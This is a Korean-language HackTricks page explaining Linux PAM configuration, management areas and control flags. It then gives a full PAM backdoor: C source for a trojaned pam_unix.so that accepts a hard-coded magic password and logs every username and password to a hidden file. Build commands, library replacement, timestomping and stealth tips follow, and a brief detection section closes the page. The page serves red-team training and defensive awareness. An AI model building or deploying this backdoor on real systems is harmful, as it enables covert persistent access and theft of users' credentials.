PAM - Pluggable Authentication Modules
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
**PAM (Pluggable Authentication Modules)**는 컴퓨터 서비스에 접근하려는 사용자의 신원을 확인하는 보안 메커니즘으로, 다양한 기준에 따라 접근을 제어합니다. 이는 디지털 게이트키퍼와 유사하여, 권한이 있는 사용자만 특정 서비스에 참여할 수 있도록 보장하며, 시스템 과부하를 방지하기 위해 사용을 제한할 수 있습니다.
구성 파일
- Solaris 및 UNIX 기반 시스템은 일반적으로
/etc/pam.conf
에 위치한 중앙 구성 파일을 사용합니다. - Linux 시스템은 디렉토리 방식을 선호하며,
/etc/pam.d
내에 서비스별 구성을 저장합니다. 예를 들어, 로그인 서비스의 구성 파일은/etc/pam.d/login
에 있습니다.
로그인 서비스에 대한 PAM 구성의 예는 다음과 같을 수 있습니다:
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
PAM 관리 영역
이 영역, 또는 관리 그룹은 auth, account, password, 및 session을 포함하며, 각기 인증 및 세션 관리 프로세스의 다양한 측면을 담당합니다:
- Auth: 사용자 신원을 검증하며, 종종 비밀번호 입력을 요구합니다.
- Account: 그룹 멤버십이나 시간 제한과 같은 조건을 확인하여 계정 검증을 처리합니다.
- Password: 복잡성 검사 또는 사전 공격 방지를 포함하여 비밀번호 업데이트를 관리합니다.
- Session: 서비스 세션의 시작 또는 종료 시 작업을 관리하며, 디렉토리 마운트 또는 리소스 제한 설정과 같은 작업을 포함합니다.
PAM 모듈 제어
제어는 모듈의 성공 또는 실패에 대한 반응을 결정하며, 전체 인증 프로세스에 영향을 미칩니다. 여기에는 다음이 포함됩니다:
- Required: 필수 모듈의 실패는 결국 실패로 이어지지만, 모든 후속 모듈이 확인된 후에만 발생합니다.
- Requisite: 실패 시 즉각적인 프로세스 종료.
- Sufficient: 성공 시 동일 영역의 나머지 검사를 우회하지만, 후속 모듈이 실패할 경우는 제외됩니다.
- Optional: 스택에서 유일한 모듈일 경우에만 실패를 유발합니다.
예시 시나리오
여러 인증 모듈이 있는 설정에서 프로세스는 엄격한 순서를 따릅니다. pam_securetty
모듈이 로그인 터미널이 승인되지 않았다고 판단하면, 루트 로그인이 차단되지만, "required" 상태로 인해 모든 모듈이 여전히 처리됩니다. pam_env
는 환경 변수를 설정하여 사용자 경험을 향상시킬 수 있습니다. pam_ldap
및 pam_unix
모듈은 함께 작동하여 사용자를 인증하며, pam_unix
는 이전에 제공된 비밀번호를 사용하려고 시도하여 인증 방법의 효율성과 유연성을 높입니다.
PAM 백도어 – pam_unix.so
후킹
고가치 Linux 환경에서 고전적인 지속성 트릭은 합법적인 PAM 라이브러리를 트로이 목마화된 드롭인으로 교체하는 것입니다. 모든 SSH / 콘솔 로그인은 pam_unix.so:pam_sm_authenticate()
를 호출하므로, 자격 증명을 캡처하거나 마법 비밀번호 우회를 구현하기 위해 몇 줄의 C 코드면 충분합니다.
컴파일 요약표
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
컴파일하고 은밀하게 교체하기:
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
OpSec Tips
- 원자적 덮어쓰기 – 임시 파일에 쓰고
mv
로 위치를 변경하여 SSH를 잠글 수 있는 반쯤 작성된 라이브러리를 피하십시오. /usr/bin/.dbus.log
와 같은 로그 파일 배치는 합법적인 데스크탑 아티팩트와 섞입니다.- PAM의 잘못된 동작을 피하기 위해 기호 내보내기를 동일하게 유지하십시오 (
pam_sm_setcred
등).
Detection
pam_unix.so
의 MD5/SHA256을 배포판 패키지와 비교하십시오./lib/security/
아래에서 세계 쓰기 가능 또는 비정상적인 소유권을 확인하십시오.auditd
규칙:-w /lib/security/pam_unix.so -p wa -k pam-backdoor
.
References
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.